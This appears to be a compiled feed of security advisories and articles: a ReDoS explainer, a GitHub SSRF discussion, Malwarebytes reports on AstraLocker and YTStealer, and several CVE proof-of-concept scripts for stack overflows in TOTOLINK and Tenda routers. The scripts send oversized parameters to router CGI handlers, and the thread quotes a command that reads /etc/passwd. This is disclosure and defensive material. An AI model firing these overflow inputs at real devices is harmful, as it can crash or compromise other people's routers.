All versions of package scss-tokenizer are vulnerable to Regular Expression Denial of Service (ReDoS) via the  loadAnnotation() function, due to the usage of insecure regex.



Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

    regex = /A(B|C+)+D/
    

This regular expression accomplishes the following:

*   A The string must start with the letter 'A'
*   (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
*   D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

    $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
    0.04s user 0.01s system 95% cpu 0.052 total
    
    

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1.  CCC
2.  CC+C
3.  C+CC
4.  C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String

Number of C's

Number of steps

ACCCX

3

38

ACCCCX

4

71

ACCCCCX

5

136

ACCCCCCCCCCCCCCX

14

65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

CVE-2022-25758: Regular Expression Denial of Service (ReDoS) in org.webjars.npm:scss-tokenizer | CVE-2022-25758 | Snyk

The package link-preview-js before 2.1.16 are vulnerable to Server-side Request Forgery (SSRF) which allows attackers to send arbitrary requests to the local network and read the response. This is due to flawed DNS rebinding protection.



New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

keworr opened this issue

May 25, 2022

· 17 comments · Fixed by #117

Closed

**SSRF #115**

keworr opened this issue

May 25, 2022

· 17 comments · Fixed by #117

**Comments**

**Describe**  
There is a way to bypass your regex to validate private & local networks.

If we use http://127.0.0.1/ or http://localhost/ to link preview, we don't see it (Error: link-preview-js did not receive a valid a url or text), but if we use a domain that resolved to 127.0.0.1, we can. For example: localtest.me resolved to 127.0.0.1 (localhost), i.e. If you 'curl localtest.me', you'll see your localhost.

Similarly we can read any other private & local address, any port.

**To Reproduce**  
Steps to reproduce:

1.  Find domain that resolved to private address with reverse ip lookup or use localtest.me (127.0.0.1) or devhead.net (127.0.0.1 + 192.168.1.1 + 192.168.0.1).
2.  Write it to getLinkPreview.
3.  Done. You see your local domain.

**Screenshots**  

Which version are you using? At some point, someone submitted a PR to patch redirections, by default it should not follow any.

I don't quite get what is the issue though... these sites seem to register the loopback address on DNS level. Even curl returns the data of the directory, then it also means that curl has an SSRF vulnerability?

The regex is not a security feature, it's only a way to detect links in the text. As stated, the library does not follow redirections by default.

#105

But you accepted same SSRF here - #105?

I really don't understand what you mean. In that issue, the author submitted a PR not to follow redirects, which is now the default behavior. The same author complained that it is possible to pass the regex with a localhost url, like I said, the regex is not meant to be a security feature, it is only there for link detection. Once the url is passed to the fetch library, there is no way to re-validate the url (even if the regex was meant to do that, which it is not) . On the other hand, I already showed you that curl also has this same behavior, because the domains you send use the localhost address on a DNS level, so that means (as far as I can see) that there is no SSRF vulnerability, this is just the expected behavior.

Copy link

Author

** **keworr** commented May 25, 2022 •**

Redirects were disabled in that issue because it allows to read local hosts, right?  
And my way also allows to read local hosts?  
idk what is different

Yes, curl by default allow same, also curl allow requests as curl file:///etc/passwd by default, SMB requests, FTP, etc. Also e.g. any browsers allow redirects by default, but you disabled it.

I just saw that issue and thought that SSRF is sensitive here, if not - ok.

redirects were disallowed not because localhost, but because redirections are by default insecure. Your way allows to reach localhost, not because the library is doing something wrong, but because the domains you provided loopback to localhost **on the DNS level**, they are not intercepting the request and redirecting, they are straight up returning 127.0.0.1 when their DNS address is resolved. There is nothing I can do about that.

@ospfranco first of all i install lastest version of package for testing my local machine and cant see followRedirects option in source could there be a problem with npm? can you check please

Second of all i agree with @keworr this vulnerability is called DNS pinning (or DNS rebinding) and it allow to bypass all control mechanism on DNS level but library has proxy option and the purpose of proxy is to fix such DNS level problems and vulnerabilities. But if we want the library to prevent such DNS level attacks as well we can fix this by dns lookup before make request

hi @AbdurrahmanA, you are right I published a new version of the package, probably some cache was left on my machine when I published one of the newer versions. Thanks a lot!

Thanks a lot for the explanation, that was what I needed. This StackOverflow answer seems to suggest there is no way to resolve the DNS address from JavaScript, seems like the solution is to self-host a proxy?

Actually if we added that kind of option to library it would be great i would love have that option. We can easily do nslookup for server side, for client side we can use https://dns.google/resolve?name=localtest.me or that option wont be available for client side. By the way this library should not be in client side it wil get lots of CORS error 😁

If you mean hardcoding a DNS service, not a fan (and especially google's), but maybe an option to pass a DNS resolver if one chooses to do so.

The library will face CORS errors on websites, on React Native, Cordova, etc it works just fine

We can easily set DNS resolver for Node js side, but if we do this using native dns library, will it be a problem for client-side users? otherwise we should make an online dns resolver option right?

I'm still not sure if the DNS resolver should always be there, just from a latency point of view, it might affect people who have already deployed this. But just passing a function that resolves the host might be enough for us to check against common attacks?

    getLinkPreview('some text with a link', {
      // Must resolve the url host, internally checks for loopbacks and common SSRF attacks
      resolveDNSHost: (url: string) => Promise<string>
    })
    

On the other hand, I don't think this would be an issue on mobiles. Almost nobody has a server running on the phone for the loopback address to be considered dangerous. Maybe conditionally importing/requiring the DNS resolver on node is enough...

Sorry for late response, Yes we just need the DNS resolver on node can we do that and also, we need to warn people about common SSRF vulnerabilities and make sure people understand what this library does.

Most people won't care 🤷‍♂️ they barely read the CORS warning. But I'll try to find some time in the coming weeks to add the option, otherwise PRs are welcome

Great to hear that, i could also do it if i have time, i will inform you 👌

CVE-2022-25876: SSRF · Issue #115 · ospfranco/link-preview-js

Through malice or carelessness, AstraLocker breaks the "circle of trust".
The post AstraLocker 2.0 ransomware isn’t going to give you your files back appeared first on Malwarebytes Labs.

Reversing Labs reports that the latest verison of AstraLocker ransomware is engaged in a a so-called “smash and grab” ransomware operation.

Smash and grab is all about maxing out profit in the fastest time. It works on the assumption by malware authors that security software or victims will find the malware quickly, so it’s better to get right to the end-game as quickly as possible. Adware bundles in the early 2000s capitalised on this approach, with revenue paid for dozens of adverts popping on desktops in as short a time as possible.

That smash and grab spirit lives on.

In a ransomware attack, criminals typically break into a victim’s network via a trojan that has already infected a computer, by exploiting a software vulnerability on an Internet-facing server, or with stolen Remote Desktop Protocol (RDP) credentials. They then make their way silently to devices and servers where important data is stored. Anything of value is stolen and sent outside of the network. When the attacker is good and ready, ransomware is deployed, encrypting the files on the machines and rendering them useless. From here, double or even triple threat extortion (blackmail and the threat of data leakage) is deployed. This careful approach, which can sometimes take weeks, allows attackers to stop organisations dead in their tracks and demand multi-million dollar ransoms.

It is so successful that almost all major ransomware families are used in this way.

But AstraLocker is not a major ransomware family, and it doesn’t do this. (These two things may be connected.)

**Click to run**

In the attacks observed by Reversing Labs, AstraLocker just arrives and encrypts.

It starts life as a rogue Word document attachmed to an email. The payload lurking in the document is an embedded OLE object. Triggering the ransomware requires the victim to double click the icon within the document, which comes with a security warning. As researchers note, this isn’t as slick a process as the recent Follina vulnerability (which requires no user interaction), or even misusing macros (which some user interaction).

In its rush to encrypt, AstraLocker still manages to do some standard ransomware things: It tries to disable security programs; it also stops applications running that might prevent encryption from taking place; and it avoids virtual machines, which might indicate it’s being run by researchers in a lab.

The sense of this being a rushed job doesn’t stop there.

**Reaffirming (and then breaking) the circle of trust**

When decryption doesn’t happen, either because of a poor quality decryptor, or because no decryption process actually exists, the ransomware author’s so-called circle of trust is broken. Too many decryption misfires is bad for business. After all, why would victims pay up if there’s no chance of file recovery?

It’s interesting, then, that the following text is in AstraLocker 2.0’s ransom note:

> **What guarantees?**  
> I value my reputation. If I do not do my work and liabilities, nobody will pay me. This is not in my interests. All my decryption software is perfectly tested and will decrypt your data.

So far, so good…you would think. Unfortunately, there’s a sting in the tail.

The cost of their decryption software is “about $50 USD”, payable via Monero or Bitcoin. There is some question as to who the author of this version of AstraLocker is, as the email addresses tied to the original campaign have been replaced. Unfortunately, this is where the circle of trust falls apart.

You can certainly pay the ransom with no problem whatsoever. That side of things, the making money side, works perfectly. The getting your files back side of things? Not so much. The new contact email address mentioned above is only partially included.

There is currently no way to ask the ransomware author for the decryption tool. Unless some sort of update is forthcoming, this is the quickest way you’ll ever lose both your files and $50.

Whether this is by accident or design, the circle of trust here is more of a downward curve.

AstraLocker 2.0 ransomware isn’t going to give you your files back

TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the desc, week, sTime, eTime parameters in the function FUN_004133c4.

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_004133c4 (at address 0x4133c4) gets the JSON parameter desc, week, sTime, eTime, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

from pwn import \*
import json

data \= {
    "topicurl": "setting/setParentalRules",
    "addEffect": "0",
    "mac": "12:34:56:78",
    "desc": 'A'\*0x400,
    "week": 'A'\*0x400,
    "sTime": 'A'\*0x400,
    "eTime": 'A'\*0x400
}

data \= json.dumps(data)
print(data)

argv \= \[
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT\_LENGTH={}".format(len(data)),
    "-E", "REMOTE\_ADDR=192.168.2.1",
    "./cstecgi.cgi"
\]

a \= process(argv\=argv)
a.sendline(data.encode())

a.interactive()

CVE-2022-32051: IoT-vuln/Totolink/T6-v2/2.setParentalRules at main · d1tto/IoT-vuln

TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the cloneMac parameter in the function FUN_0041af40.

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_0041af40 (at address 0x41af40) gets the JSON parameter cloneMac, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

from pwn import \*
import json

data \= {
    "topicurl": "setting/setWanCfg",
    "proto": "0",
    "staticIp": "192.168.2.1",
    "staticMask": "255.255.255.0",
    "staticGw": "192.168.2.1",
    "staticMtu": "0",
    "cloneMac": "A"\*0x400
}

data \= json.dumps(data)
print(data)

argv \= \[
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT\_LENGTH={}".format(len(data)),
    "-E", "REMOTE\_ADDR=192.168.2.1",
    "./cstecgi.cgi"
\]

a \= process(argv\=argv)
a.sendline(data.encode())

a.interactive()

CVE-2022-32050: IoT-vuln/Totolink/T6-v2/9.setWanCfg at main · d1tto/IoT-vuln

TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the cloneMac parameter in the function FUN_0041621c.

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_0041621c (at address 0x41621c) gets the JSON parameter cloneMac, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

When parameter proto is equal to 1, program will enter the danger if branch at line 125. Then the program gets the parameter cloneMac, splits it, and connects the segmented string to local variables in the stack without checking its length.

from pwn import \*
import json

data \= {
    "topicurl": "setting/setWizardCfg",
    "proto": "1",
    "cloneMac": "A"\*0x400 + ":" + "A"
}

data \= json.dumps(data)
print(data)

argv \= \[
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT\_LENGTH={}".format(len(data)),
    "-E", "REMOTE\_ADDR=192.168.2.1",
    "./cstecgi.cgi"
\]

a \= process(argv\=argv)
a.sendline(data.encode())

a.interactive()

CVE-2022-32053: IoT-vuln/Totolink/T6-v2/6.setWizardCfg at main · d1tto/IoT-vuln

TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the desc parameter in the function FUN_004137a4.

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_004137a4 (at address 0x4137a4) gets the JSON parameter desc, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

from pwn import \*
import json

data \= {
    "topicurl": "setting/setWiFiAclRules",
    "addEffect": "1",
    "mac": "12:34:56:78",
    "desc": 'A'\*0x500,
}

data \= json.dumps(data)
print(data)

argv \= \[
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT\_LENGTH={}".format(len(data)),
    "-E", "REMOTE\_ADDR=192.168.2.1",
    "./cstecgi.cgi"
\]

a \= process(argv\=argv)
a.sendline(data.encode())

a.interactive()

CVE-2022-32052: IoT-vuln/Totolink/T6-v2/3.setWiFiAclRules at main · d1tto/IoT-vuln

TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the desc parameter in the function FUN_0041880c.

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_0041880c (at address 0x41880c) gets the JSON parameter desc, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

from pwn import \*
import json

data \= {
    "topicurl": "setting/setMacFilterRules",
    "addEffect": "1",
    "enable": "1",
    "mac": "00:00:00:00:00:00",
    "desc": 'A'\*0x400
}

data \= json.dumps(data)
print(data)

argv \= \[
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT\_LENGTH={}".format(len(data)),
    "-E", "REMOTE\_ADDR=192.168.2.1",
    "./cstecgi.cgi"
\]

a \= process(argv\=argv)
a.sendline(data.encode())

a.interactive()

CVE-2022-32046: IoT-vuln/Totolink/T6-v2/8.setMacFilterRules at main · d1tto/IoT-vuln

Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow via the deviceList parameter in the function formAddMacfilterRule.

**Overview**

*   The device's official website: https://www.tenda.com.cn/product/A18.html
*   Firmware download website: https://www.tenda.com.cn/download/detail-2760.html

**Affected version**

V15.13.07.09

**Vulnerability details**

httpd in the /bin directory has a stack overflow vulnerability. The vulnerability is in the formAddMacfilterRule function. This function takes the POST argument deviceList and passed it to function parse_macfilter_rule. parse_macfilter_rule copies it to the memory pointed by the second argument without checking the length. The memory that this second argument points to is the stack of the formAddMacfilterRule function.

**PoC**

import requests

data \= {
    b"deviceList": b'A'\*0x200 + b'\\r'
}

requests.post("http://127.0.0.1/goform/setBlackRule", data \= data)

CVE-2022-32032: IoT-vuln/Tenda/A18/formAddMacfilterRule at main · d1tto/IoT-vuln

We take a look at reports of scammers targeting Youtuber's channels with malware called YTStealer, that eats authentication cookies.
The post YTStealer targets YouTube content creators appeared first on Malwarebytes Labs.

Researchers are reporting the discovery of malware targeting YouTub content creators. The aim is to compromise accounts and then take over the victims’ channels completely.

The malware, dubbed YTStealer, has one game plan: Grabbing authentication cookies. A site gives you an authentication cookie when you log in, and your browser then uses it in place of a password until you log out. If somebody can steal the authentication cookie from your browser they can use it log into whatever website you’re using, as if they are you.

Armed with YouTube cookies, YTStealer plunders YouTube accounts, and their real owners have some customer support chats waiting in their immediate future.

**Targeting interests**

How do malware distributors reel in YouTube channel owners in the first place? Like so many of these scams, they promote a variety of bogus applications designed to lure victims. The rogue apps don’t just install YTStealer though, they also drop several other malicious files, depending on which installer is used. Vidar and RedLine may also be present.

Several popular (fake) versions of editing and design tools, which would naturally appeal to people in video circles, are on offer. Adobe Premiere Pro, HitFilm Express, and Filmora are some of the fake installers mentioned.

Games, too, are a popular revenue stream on YouTube with game streamers and reviewers galore. No surprise, then, that fake installers and cheats for titles like Call of Duty and Grand Theft Auto are along for the ride.

The final group of bogus files relate to imitation security products and supposed cracks for Discord Nitro and Spotify Premium.

**System checks and balances**

Once installed on a target machine, YTStealer performs some checks to see if its running inside of a virtual machine. This is to see if the malware is being analysed by security researchers. If detection takes place, files like YTStealer will typically terminate or become incredibly stubborn.

With this out of the way, YTStealer proceeds to harvest authentication cookies and fire up a browser in “headless” mode (a browser with no windows to look at). In other words: A silent, invisible browser. The victim is completely unaware of what’s happening. Swiped cookies are loaded into the phantom browser, which can now log in to YouTube as the victim.

The malware harvests the victim’s subscriber count, channel name, age of channel, verification status, and whether or not the channel is monetised. The data is collected, encrypted, and sent to the Command and Control (C2) server tied to the malware.

**How to avoid malware aimed at Youtubers**

*   Scammers will target your interests, and try to interest you in cheap / free copies of software related to the content you create. Is a stranger really going to give you free editing tools worth a few hundred dollars? Almost certainly not. “If it sounds too good to be true,” and all that.
*   Many of these files insist you turn off security protection prior to installing. Ask yourself why they’d want you to do this, and then make a sharp exit.
*   Are they directing you to a YouTube channel of their own for the download links? Check the comments. Are they disabled? Is every single comment positive, and posted from new / low quality accounts? There’s a reason for that…
*   Free cheat tools advertised on YouTube are not going to work. Bypassing anti-cheat protection in major video game titles is big business, and people pay to use these tools. Anything given away for free in this manner will do little beyond infect your system.

Tag

#mac